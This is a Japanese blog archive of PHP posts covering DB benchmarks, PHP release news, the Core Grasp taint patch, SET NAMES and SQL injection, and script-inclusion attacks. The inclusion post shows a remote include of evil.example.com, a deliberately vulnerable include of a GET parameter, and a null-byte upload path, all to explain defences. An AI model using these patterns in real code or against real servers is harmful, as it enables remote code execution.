タグ: PHP

正しいメールアドレスのチェック方法

正しいメールアドレスのチェック方法がちょっとした話題になっているようです。Web屋のネタ帳でも取り上げられていますが、メールアドレスのチェック方法自体は解説していません。ついでなので書いておきます。

「本当に正しいメールアドレスかチェック」するには実際にメールを送信して、送信されたユーザしか知り得ない情報をユーザが知っている事により確認しなければなりません。これはWeb屋のネタ帳で解説されている通りです。

もっと読む

PHPで実装されたベイズフィルタ

PHPで実装されたベイズフィルタを見かけました。
http://www.atomicmpc.com.au/forums.asp?s=2&c=10&t=4466
ライセンスはGPLライセンスです。

ソースコードを見ると当然ですが半角スペースでトークンに分解しているので日本語では使えません。しかし、mecabなどを使用して使えるようにするのはそう難しくありません。もともとベイズフィルタは難しいアルゴリズムではないので読むと直ぐに理解できると思います。PHPで利用できる形態素解析モジュールは幾つかあります。

しばらく前には毎日数百のコメントスパムが送信されてきていました。b2evolutionデフォルト設定でコメントのモデレートが必須化されてから時間が経過してきたので今はかなり減ってきています。必要性は減ってきてはいますが時間があったら改善したい所です。

PHP 5.3とPHP 5.2

ちょっと前にPHP 5.3のブランチが作られた、と書きましたが今度は前のマイナーバージョンもしばらくメンテナンスされます。どれくらいメンテナンスされるかは分かりませんが、メンテナンスされるのは良い事です。

PHP 5.3とPHP6の位置づけですが、基本的にPHP6 = PHP 5.x(最新版)- Unicodeサポートという形で合意が形成されているでPHP 5.xのマイナー版は機能追加が行われる予定です。

PHP 5.3がリリースされても慌ててPHP 5.2から5.3にアップグレードする必要はありません。ただし、PHP 5.2のサポートはそれほど長くはないので次々とPHP 5.xへとアップグレードする必要性がなくなる訳ではありません。

PHP 5.3は来年の第一四半期にリリース予定です。

簡単なベンチマーク

最近のPostgreSQL, MySQL, SQLiteのパフォーマンスはどうかな?と言うことで非常に簡単なベンチマークをしてみました。

デフォルト状態のデータベースに郵便番号データ(12万件とちょっと)をINSERTしてみました。フラグを除く全てのフィールドをテキスト型として定義し、全てのフィールドを挿入しました。旧番号と現行番号にインデックスを付けています。スクリプトはPHPで記述し、DBが動作しているPC上からPHP 5.2.4で実行しました。1レコードが分割されている場合などは無視して挿入しているので12万2000レコードになりました。

PC

CPU: PentiumD 2.8GHz
Memory: 3GB
HDD: PATA

DBMS

MySQL: 5.0.45
PostgreSQL: 8.2.4
SQLite: 3.4.0 (PDO)

実行結果(12万行INSERTの実行時間)

InnoDb: 130.70663690567
MyISAM: 131.24672317505
Postgres: 159.47350597382
SQLite: 676.43534302711

MySQLもPostgreSQLもチューニングは一切無しで実行しています。

非同期クエリを利用するとPostgreSQLもInnoDb, MyISAMと同じくらいの速度になりました。

どのDBもペンチマーク中はディスク待ちの状態でCPU時間はあまり使っていませんでした。

MySQLとPostgresは概ね予想通りの結果でしたが、SQLiteが異常に遅いのでPDOを使わないで計測してみましたがあまり変わりませんでした。トランザクションかな?と思いBEGIN, COMMITを付けてみましたが変わりませんでした。

INSERTしたレコードをランダムにSELECTしてみました。番号はmt_rand関数で生成したのでほとんどがINDEXにヒットしないので、インデックスを利用した検索の最悪のケースのテストになります。単純にテーブルから検索をするだけです。永続的接続を利用しています。

Webサーバ:Apache 2.2.6
クライアント: ab -n 10000 -c 10 (別PCから実行。Athlon64 3500+/3GBメモリ)

パフォーマンス:リクエスト/秒

Postgres: 947.58
SQLite: 1096.00
MySQL(MyISAM): 1190.35
MySQL(InnoDb): 1245.85

概ね予想通りの結果ですが、SQLiteが思っていたより遅いです。PostgreSQLは接続のネゴシエーション処理が重いので非永続的接続を利用するとかなりパフォーマンスが落ちます。システム全体でDBへの接続数を上手に制御できていない場合はpgpoolを利用するとパフォーマンス(システム全体のスループット)が改善することがこの事からも分かります。

「Postgresでこんな数字でないよ」という方、pg_pconnectで試してみましょう。コネクションプーリングが無いと話になりません。

PHP 5.3ブランチ

PHP 5.3のブランチが出来ています。

個人用のアプリケーションなら、「Release fast, release early」でも良いと思いますが、フレームワークに近い言語が「Release fast, release early」だと困る方も多いと思います。互換性を維持しないアップグレードは1年に一回以内、出来れば18ヶ月か24ヶ月サイクルくらいに留めた方が良いと思います。

モジュールを別途配布するようにすればかなり現実的になるのですけどね…
PHP Core, PHP Standard, PECL, 3rd party, 程度に分けて管理すれば良いと思います。

とにかく、準備が必要な方はテストで使ってみては?

http://cvs.php.net/viewvc.cgi/php-src/?pathrev=PHP_5_3

Core Grasp

遅ればせながらCore Graspのパッチを読みました。超ななめ読みなので勘違いしているかも知れません。間違っていたら教えてください。

一番興味があったのはSQLインジェクションの自動検出はどうなっているのかです。以下の関数がSQLインジェクションチェックに利用されています。

+int grasp_check_query(zval *z)
+{
+	char *c,*s;
+	int i,j,l;
+	char q;
+
+	if (grasp_isfull_p(z)) return 0;
+	if (!grasp_isptr_p(z)) return 1;
+	if (z->type != IS_STRING && z->type != IS_CONSTANT) return 1;
+	
+	
+	l = z->value.str.len;
+	c = z->value.str.val;
+	s = z->secmark;
+
+
+	for(i = 0; i<l; i++)
+	{
+		if (s[i] && (c[i]=='-'))			
+		{
+			i++;					
+			if(!(c[i] < '0' || c[i] > '9')) 
+			{
+				for(i;i<l;i++)			
+				{
+					if (c[i] < '0' || c[i] > '9')
+					{
+						if (!s[i])
+							break;	
+						else
+							return 0; 
+					}
+				}
+			}
+			else
+			{
+				return 0;
+			}
+			if(i == l) return 1;
+		}
+		
+
+		if (s[i] && (c[i] < '0' || c[i] > '9')) return 0;
+		
+		if (c[i] == '¥¥')
+		{
+			i++; 
+			if (s[i]) return 0;
+		} else
+		if (c[i] == '¥'' || c[i] == '¥"' || c[i] == '`')
+		{
+			q = c[i];
+			for(i++; i<l; i++)
+			{
+				if (c[i] == '¥¥')
+					i++; else
+				if (c[i] == q)
+					break;
+			}
+			if (i<l && s[i]) return 0;
+		} 
+	}
+	return 1;
+}

どうも文字列の各文字が安全かチェックして安全でない場合はエラーにしているようです。単純に「この文字列(ZVAL)は関数で処理済みで安全」とマークしている訳でないようです。

ではmysql_real_escape_stringとかを拡張して安全マークを追加しているのかな?と思ったらしていないようです。代わりにaddslashesが拡張されていました。

PHP_FUNCTION(addslashes)
 {
 	zval **str;
+#ifdef HAVE_GRASP
+	char *res, *secm;	
+#endif
 
 	if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &str) == FAILURE) {
 		WRONG_PARAM_COUNT;
@@ -2884,11 +3266,23 @@ PHP_FUNCTION(addslashes)
 	if (Z_STRLEN_PP(str) == 0) {
 		RETURN_EMPTY_STRING();
 	}
+#ifdef HAVE_GRASP
+	grasp_normalize(*str);
+	res = 0;
+	secm = 0;
+	//grasp_setptr_p(return_value, zend_get_parameters_secmark());
+	res = php_addslashes_secmark(Z_STRVAL_PP(str),
+	                             Z_STRLEN_PP(str), 
+	                             &Z_STRLEN_P(return_value), 0, &secm, Z_SECMARK_PP(str)
+	                             TSRMLS_CC);
 
+	RETURN_STRING_SECMARK(res, 0, secm);
+#else
 	RETURN_STRING(php_addslashes(Z_STRVAL_PP(str),
 	                             Z_STRLEN_PP(str), 
 	                             &Z_STRLEN_P(return_value), 0 
 	                             TSRMLS_CC), 0);
+#endif
 }

マルチバイト環境ではaddslashesによる文字列エスケープは厳禁な(SQLインジェクションに脆弱になる場合がある)ので実装的には不十分です。

GraspはPHP用のtaintモードとして紹介されていますが、Perl, Rubyなどの一般的にtaintモード呼ばれている機能と多少異なります。

http://www.cs.virginia.edu/~evans/pubs/infosec05.html

に記載されているようなtaintモードになっているようです。
# この論文もななめ読み

具体的には

$sql = “SELECT * FROM table WHERE id = “. $id;
mysql_query($sql);

の様なコードでも$idが危険な文字列かつ攻撃コードを含んでいれば、エラーになります。つまり、$sql文字列中の$id部分が安全かどうかチェックできるようになっています。

例えば、

if (ereg(“[0-9]+”, $_GET[‘id’]) {
$id = $_GET[‘id’];
}

の様にプログラマのミスにより$idが危険な変数になっていても攻撃が回避できます。

完成度が高くなれば通常のtaintモードとは比べ物にならないくらい安全性の向上が期待できると思います。しかし、パッチを超ななめ読みした感じでは実用的になるまでもうしばらく時間が必要な気がしましたが、順調に開発が進めばかなり便利な機能になると思います。
# 現状の実装だど文字エンコーディングがSJIS等の場合はSQLインジェクション
# と誤検出すると思います。addslashesなので元々SJIS等の事などまったく考慮
# されていなくて当たり前です。マルチバイト文字の事は考えてないようですが
# UTF-8ならそれなりに使えそうです。

SQLインジェクションは対策が簡単ですが、XSSは適材適所で対応が分かれるので精度の高い対策は難しいです。しかし、LDAP/XPATH/XQuery等のインジェクション攻撃は基本的にSQLインジェクションと同じレベルで対応可能です。半年後くらいにまたパッチを見てみよう。

SET NAMESは禁止

MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。(PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります)この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。

Ruby on Railsの本を読んでいて、ActiveRecordを説明している部分にMySQLの文字エンコーディングを変更する場合の例としてSET NAMESが利用されていました。アプリケーションからはSET NAMESは使ってはならない事を周知させるのは結構時間が必要かなと思いました。

PHPも5.2の途中からMySQLモジュールにlibmysqlの文字エンコーディング設定APIのラッパー関数が追加されていたりするので、たまたま最近読んだRoRの本だけでなく、多くの開発向け情報ソースにSET NAMESを利用した例が載っていると思います。

ストアドプロシージャだけ使っていれば安全ですが、アプリケーションからDBMSの文字エンコーディングを設定する場合、SQL文ではなく必ず文字エンコーディング設定APIを利用するよう紹介しなければならないです。MySQL4はストアドプロシージャが使えないので、フレームワークなどではエミュレートしています。ストアドプロシージャだけ使って防御している「つもり」で防御になっていない場合もあります。これもフレームワークを使っていてもアプリケーションが脆弱になる良い例ですね。

脆弱性の説明は面倒ですが注意事項は簡単です。「DBMSをアプリケーションから利用する場合、文字エンコーディング設定は必ずAPIを利用する」つまり「SET NAMES(PostgreSQLのSET CLIENT_ENCODING等も)は禁止」です。

PHPのMySQL:

PHPのPostgreSQL:

PHPのPDO:

<?php
// MySQL
$pdo = new PDO(
    'mysql:host=yourhost;dbname=yourdb;charset=sjis',
    'user', 'password'
);

// PostgreSQL
$pdo = new PDO(
    "pgsql:host=yourhost;dbname=yourdb;options='--client_encoding=sjis'"
);

Rails:

config.encoding = 文字コード

 

意図が伝わってないのかな?

「なぜPHPアプリケーションにセキュリティホールが多いのか?」をテーマにした技術評論社のブログ風の記事を書いています。

一番新しい

http://gihyo.jp/dev/serial/01/php-security/0008

ですが、自分で防いだつもりのセキュリティホールは実は防いだ事になっていなかった、アプリケーションが多く在りました。というより今でも作り続けられています。原因は「サニタイズ」による脆弱性の回避であるものが多いです。なので「サニタイズ」ではなく「バリデーション」と「適切なエスケープ」によって対策すべきです、と書きたかったのですが「エスケープ」の部分を書いてないですね。バリデーションの時に説明するつもりですが、確かに尻切れとんぼのような感じです。

編集の方からこんな感じなのですがどうなんでしょう?メールが来ていました。

http://b.hatena.ne.jp/entry/http%3A//gihyo.jp/dev/serial/01/php-security/0008

と言う感じで何やら否定的なコメントが多いようです。

最初に

今回は熟練したWebアプリ開発者なら常識のクロスサイトスクリプティング対策の落とし穴を紹介します。

と書いているのですがどうも「熟練のWebアプリ開発者なら常識」としている前提が伝わっていなかった?のか記事自体に問題がある?のか理由がいまいち分かりません。

ブックマークしている方を見るとセキュリティ系で有名な方もいます。初心者向けのブログなのであまり一般受けしないエントリはこのブログの方が多はずです。(と言ってもこちらにもあまり役に立つことはあまり書いてませんが)いまいち理由がよくわからないのでもし知っている方教えてください。

スクリプトインクルード問題の根本的解決策

スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。

デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり

include(‘http://evil.example.com/attack.php’);

の様なコードは実行できなくなり、頻繁にレポートされる「リモートスクリプトの実行」が可能な脆弱性はデフォルト設定では発生しなくなりました。

しかし、PHP 5.2以降でもPHPプログラムはファイルにコードを埋め込む形式でプログラムを記述しなければなりません。アップロードされたローカルファイルをスクリプトとして実行するのは非常に簡単です。入力ファイルのバリデーションを行っても、全てのファイルからコードを取り除くのは簡単ではありませんし、現実的でない場合もあります。PHPは他の言語と異なり「コードを埋め込む形式」であるために、”ローカル”スクリプトインクルードがセキュリティ上の問題となる可能性が残されています。

PHPアプリでスクリプトインクルードがセキュリティ上の問題として度々取り上げられる原因は、PHPが「コード埋め込み型」でスクリプトを実行していることにあります。「コード埋め込み型」でスクリプトを実行していなければ他のスクリプト型言語を同等レベルにまでローカルスクリプト実行脆弱性を軽減することができます。

「デフォルト状態でのリモートスクリプトの実行機能」はあきらかにPHPにとって負の遺産でした。同じように「デフォルト状態でのコード埋め込み型のスクリプト」も負の遺産だと思っています。最近のPHPプログラムはコードとHTMLは分離され、埋め込み型である必要性があるのはテンプレートくらいになっています。多くの他のスクリプトファイルはプログラム以外のデータを埋め込む必要が全くないコードになっています。にもかかわらず「コードの埋め込み型のスクリプト」をデフォルトとして意図しないローカルスクリプトの実行に対して脆弱でありつづける必要はありません。

スクリプトインクルード問題対策には、まず「埋め込み型スクリプト」が保存されたディレクトリを指定し、それ以外はコードの埋め込みを許可しないように仕様変更が必要です。これによりユーザから送信された画像や圧縮ファイル、テキストファイルを誤ってスクリプトとして実行してしまう事態をかなり回避できるようになります。

パッチの作成は割と簡単です。埋め込みモードでスクリプト実行するディレクトリを保存するためのphp.ini設定を追加します。PHPがスクリプトファイルをコンパイルする場合、設定されたディレクトリ以外はパーサの初期状態をST_IN_SCRIPTINGに設定し、終了タグが現れても無視します。古いPHPとの互換性維持のため開始タグが現れても無視する様にすれば、既存のライブラリファイルもそのまま使えます。

ユーザが任意データをアップロード可能なアプリケーションに仮にローカルスクリプトインクルードに脆弱なコード

include($_GET[‘module_name’].’.php’);

が在ったとしても, $_GET[‘module_name’]にアップロードしたファイル名を設定して

include(“/www/upload/evil.gif¥0.php”);

のようなリクエストを送信しても、画像形式を適切にバリデーションしていれば”/www/upload/”に保存された画像ファイルをスクリプトとして実行されてしまう危険性を大幅に低減できます。バリデーションにはTokenizerを利用し、PHPのトークン(プログラムのコード)が無いことを確認します。

意図しないスクリプトインクルードされる問題を確実に回避するは埋め込みモードでスクリプトを実行するディレクトリだけでなく、通常モードでスクリプトを実行するディレクトリも指定できるようにします。こうすればこれらのディレクトリへの書き込みを適切に制限していればスクリプトインクルードによる攻撃を防ぐ事ができます。

パッチ作成は割と簡単です。欲しい方います??

PHP 5.2.4

ご存知の方も多いと思いますがPHP 5.2.4のリリースが近いです。しばらく前にRC1が出ています。

http://qa.php.net/

どのWebアプリケーションもですがインフラとなるソフトウェアのバージョンアップをどう行うか定めておかなければなりません。オープンソースの場合、いつでもソースコードのリポジトリから開発版が利用できるので開発版を利用してアプリケーションの動作に支障が無いかテストできます。

しかし、普通は開発版で常に動作テストは行えません。次のバージョンがリリースされる前にしばらくの間RC版(Release Candidate版)がテスト用に配布されます。RC版の間であればクラッシュバグや意図的でない動作仕様の違いなどをバグレポートとして提出すればリリース前に修正される可能性が高くなります。パッチを付けて送付すれば適用される可能性も高くなります。RCで動作テストを十分行っていればリリースされた場合にセキュリティフィックスが含まれいても慌てることはありません。

大規模にシステムを運用している会社であればRC版からの動作テストのメリットは非常に多いです。RC版からの動作テスト&フィードバックを強くお勧めします。

PHP4からPHP5への移行について

PHP4のサポート終了がアナウンスされことに伴い、技術評論社の方からPHP4からPHP5への移行の記事を書く事になりました。毎週新しい記事が公開されます。下記のURLが最初の記事で8/2(予定)から順次続きが公開されます。

http://gihyo.jp/dev/feature/01/php-migration/0001?page=1

記事を書いてみて思ったのですが、自分にとってはPHP4とPHP5両方で動作するコードを書くのはそう難しくないのですが時々PHPでコードを書いている方、PHPの開発状態を把握していない方には結構難しいのではないかと思いました。今回の記事は「移行」にのみ焦点をあててPHP5の新機能はほとんど紹介しませんでしたがかなりボリュームになってしまいました。それでも十分とは言えないです。PHP5への移行をお考えのかたは8/2から上記URLを参考にして頂ければ幸いです。

ところで、隔週(の予定…で実際は月一回くらい…)でセキュリティ関係の記事も http://gihyo.jp/ にて連載しています。こちらもよろしくお願いします。

http://gihyo.jp/serial/2007/php-security

どの記事でもコメントなどございましたらメールで頂けると助かります。

globで任意コード実行の脆弱性

FirstにPHPのglobで任意コード実行の脆弱性、とあったのでCVSを見てみるとglob用のメモリ構造体を未初期化で使用しているコードが修正されていました。未初期化の構造体メモリを任意データで書き換える必要があるので、攻撃を行うには攻撃が可能となるメモリレイアウトを作る比較的特殊なコードが必要になると思われます。

任意コード実行の脆弱性として

Remotely Exploitable : Yes
Locally Exploitable : Yes

の割には

Rated as : Moderate Risk

となっています。これは攻撃可能なメモリレイアウト作成はあまり直感的ではないから、もしくはPoCレベルの通常では起こりえない状況用の攻撃コードのみ作成されているからだと思われます。

これはPHP5.2.3以下の脆弱性です。以下はHEADのパッチです。
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/dir.c?r1=1.166&r2=1.167
見ての通り、1 linerパッチです。

PHP4のサポートが終了しますが「ディストリビュータのサポートは別途で長いから」とディストリビュータのサポートに期待している方も多いと思います。ディストリビュータがどの程度セキュリティパッチをサポートしてくれるのかちょうどよいベンチマークになると思います。

PHPでQtアプリ

PHPでGTKアプリが作れるPHP-GTKは以前からありましたが、PHPでQtアプリが作れるPHP-Qt 0.1がリリースされています。

The PHP-Qt team is pleased to announce the immediate release of PHP-Qt Version 0.1!
It’s been nearly a year since the release of version 0.0.3 and many, many things have changed, including the move to using the Smoke library.
A few of the changes from 0.0.3 to 0.1 are:

* Unit tests based on phpunit
* Overriding of Qt methods in PHP classes
* Improved startup time
* Improved runtime speed
* improved inheritance
* CMake-based build system
* Support for references
* There is now a global tr() function
* Based on the Smoke library
* License: GPL (see note below)

PHP4のサポート終了は2008/8/8

現状でもセキュリティフィックスの状態があまり良いとはいえないのでPHP5が利用できる場合は積極的にPHP5を利用すべきですが、2007/12/31まで通常メンテナンス、以後2008/8/8までセキュリティフィックスには対応ということです。

まだの方は早くPHP5に移行しましょう。

間違っても5.1系に移行しないようにしましょう… 5.1系は今現在もメンテナンスされていません… 5.2系のみメンテナンスされています。